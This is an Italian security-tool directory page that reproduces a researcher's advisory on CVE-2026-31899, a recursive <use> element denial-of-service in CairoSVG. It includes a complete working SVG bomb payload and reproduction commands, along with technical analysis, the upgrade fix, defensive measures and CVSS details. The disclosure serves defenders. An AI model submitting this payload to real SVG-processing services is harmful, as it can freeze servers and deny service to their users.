Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-31899 — CVE-2026-31899: DoS esponenziale tramite amplificazione dell'elemento <use> ricorsivo in CairoSVG (CVSS 7.5 Alto) | Kitploit
Strumenti/GitHubGitHub/snailsploit/cve-2026-31899
Analisi delle VulnerabilitàExploitSicurezza WebPaper e RicercaApprendimento e Formazione
GitHubsnailsploit/cve-2026-31899

CVE-2026-31899

CVE-2026-31899: DoS esponenziale tramite amplificazione dell'elemento <use> ricorsivo in CairoSVG (CVSS 7.5 Alto)

Vedi Repository
14 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-31899: DoS esponenziale tramite amplificazione ricorsiva dell'elemento in CairoSVG

CVE CVSS Score Python Package CWE-400 GHSA

Parole chiave: CVE-2026-31899, CairoSVG, DoS esponenziale, bomba SVG, elemento use ricorsivo, negazione del servizio, amplificazione XML, vulnerabilità SVG in Python, CWE-400, consumo incontrollato di risorse, billion laughs SVG

Indice

Panoramica
  • Dettagli della vulnerabilità
  • Analisi tecnica
  • Prova di concetto
  • Impatto
  • Rimedio
  • Metriche CVSS
  • Riferimenti
  • Contatti
  • Panoramica

    DoS esponenziale in CairoSVG (CVE-2026-31899) — un payload SVG di 1.411 byte blocca la CPU al 100% in modo indefinito tramite l'amplificazione ricorsiva dell'elemento .

    CairoSVG (~300K download/settimana) è un convertitore Python da SVG a PNG/PDF ampiamente utilizzato. La funzione use() in cairosvg/defs.py elabora ricorsivamente gli elementi senza alcun limite di profondità o di conteggio. Con 5 livelli di annidamento e 10 riferimenti ciascuno, un piccolo SVG genera 10^5 = 100.000 chiamate di rendering — una variante SVG della "billion laughs".

    Scoperto da: Kai Aizen — SnailSploit Pubblicato: 13 marzo 2026 Punteggio CVSS: 7,5 (Alto) CWE: CWE-400 — Consumo incontrollato di risorse Pacchetto: CairoSVG (PyPI) Tipo di attacco: DoS esponenziale (negazione del servizio) Privilegi richiesti: Nessuno (non autenticato)

    Dettagli della vulnerabilità

    Descrizione

    La funzione use() in cairosvg/defs.py (riga ~335) risolve ricorsivamente gli elementi che referenziano altri elementi . Non esiste alcun limite di profondità di ricorsione né un budget totale di elementi. Un attaccante può creare un piccolo SVG in cui ogni livello referenzia il livello precedente N volte, producendo O(N^depth) chiamate di rendering a partire da un input di O(depth).

    Caratteristiche principali

    • Fattore di amplificazione: O(10^N) chiamate di rendering da O(N) righe di input
    • Profilo memoria: circa 43MB costanti — nessun OOM kill, il processo non termina mai naturalmente
    • Profilo CPU: singolo core al 100% bloccato indefinitamente
    • Dimensione payload: 1.411 byte

    Versioni interessate

    • Vulnerabili: tutte le versioni < 2.9.0
    • Corretta: versione 2.9.0 e successive

    Analisi tecnica

    La vulnerabilità esiste perché:

    1. La funzione use() in defs.py elabora ogni elemento cercando il suo target xlink:href
    2. Se il target è a sua volta un gruppo contenente elementi , questi vengono espansi ricorsivamente
    3. Non viene applicato alcun contatore di profondità o budget di elementi
    4. Ogni livello moltiplica il lavoro per il fattore di ramificazione (es. 10x per livello)

    Con 5 livelli e un fattore di ramificazione di 10:

    root@kitploit:~
    Level 0: 1 element (root <use>)
    Level 1: 10 elements
    Level 2: 100 elements
    Level 3: 1,000 elements
    Level 4: 10,000 elements
    Level 5: 100,000 render calls
    

    Totale: 111.111 chiamate di rendering da un input di 1.411 byte.

    Prova di concetto

    Payload SVG poc.svg)

    root@kitploit:~
    <?xml version="1.0"?>
    <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
      <defs>
        <g id="a"><rect width="1" height="1"/></g>
        <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
        <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
        <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
        <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
      </defs>
      <use xlink:href="#e"/>
    </svg>
    

    Riproduzione

    Metodo 1 — Riga di comando:

    root@kitploit:~
    timeout 10 cairosvg poc.svg -o test.png
    # Expected: timeout kills the process after 10 seconds (it never completes)
    

    Metodo 2 — Python:

    root@kitploit:~
    import cairosvg
    import signal
    
    signal.alarm(5)  # Kill after 5 seconds
    try:
        cairosvg.svg2png(bytestring=open("poc.svg").read())
    except:
        print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")
    

    Impatto

    Qualsiasi servizio che accetta input SVG e utilizza CairoSVG per l'elaborazione è vulnerabile:

    Superficie di attaccoEsempio
    Generazione di anteprimeUpload SVG → il server converte in PNG
    Generazione di PDFSVG incorporato nel documento → CairoSVG esegue il rendering
    Elaborazione di avatar/immaginiImmagini profilo SVG caricate dagli utenti
    Rendering di reportGrafici SVG nei report automatizzati
    Pipeline CI/CDAsset SVG elaborati durante la build

    Una singola richiesta con un payload di 1,4 KB bloccherà il thread di elaborazione indefinitamente consumando una quantità minima di memoria (nessun OOM kill a salvarti).

    Rimedio

    Correzione immediata

    Aggiorna CairoSVG alla versione 2.9.0 o successiva:

    root@kitploit:~
    pip install --upgrade CairoSVG>=2.9.0
    

    Difesa in profondità

    • Imposta timeout di elaborazione su qualsiasi endpoint di conversione SVG
    • Implementa limiti sulla dimensione degli input negli upload SVG
    • Valuta di isolare l'elaborazione SVG in worker in sandbox con limiti di tempo CPU

    Metriche CVSS v3.1

    root@kitploit:~
    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
    
    MetricaValore
    Vettore di attaccoRete (AV:N)
    Complessità di attaccoBassa (AC:L)
    Privilegi richiestiNessuno (PR:N)
    Interazione con l'utenteNessuna (UI:N)
    AmbitoInvariato (S:U)
    RiservatezzaNessuna (C:N)
    IntegritàNessuna (I:N)
    DisponibilitàAlta (A:H)

    Cronologia

    DataEvento
    2026-03-09CVE riservato
    2026-03-13Advisory pubblicato (GHSA-f38f-5xpm-9r7c)
    2026-03-13Rilasciata CairoSVG 2.9.0 con la correzione

    Riferimenti

    • GHSA-f38f-5xpm-9r7c
    • NVD — CVE-2026-31899
    • CairoSVG su PyPI
    • CWE-400: Consumo incontrollato di risorse
    • Commit della correzione

    Contatti

    Kai Aizen (SnailSploit)

    • Web: snailsploit.com
    • GitHub: @SnailSploit
    • LinkedIn: /in/kaiaizen

    ⚠️ Disclaimer: Questo repository ha finalità esclusivamente educative e di ricerca sulla sicurezza autorizzata. La prova di concetto è fornita per aiutare i difensori a validare la propria esposizione. Utilizza con responsabilità.


    📚 Documentazione e autore

    La descrizione completa di questo progetto, la metodologia e la ricerca correlata sono disponibili su:

    https://snailsploit.com/cves

    Creato da Kai Aizen — ricercatore indipendente di sicurezza offensiva.

    snailsploit.com · Ricerca · Framework · GitHub · LinkedIn · ResearchGate · X/Twitter

    Stesso attacco. Substrato diverso.

    Scarica lo strumento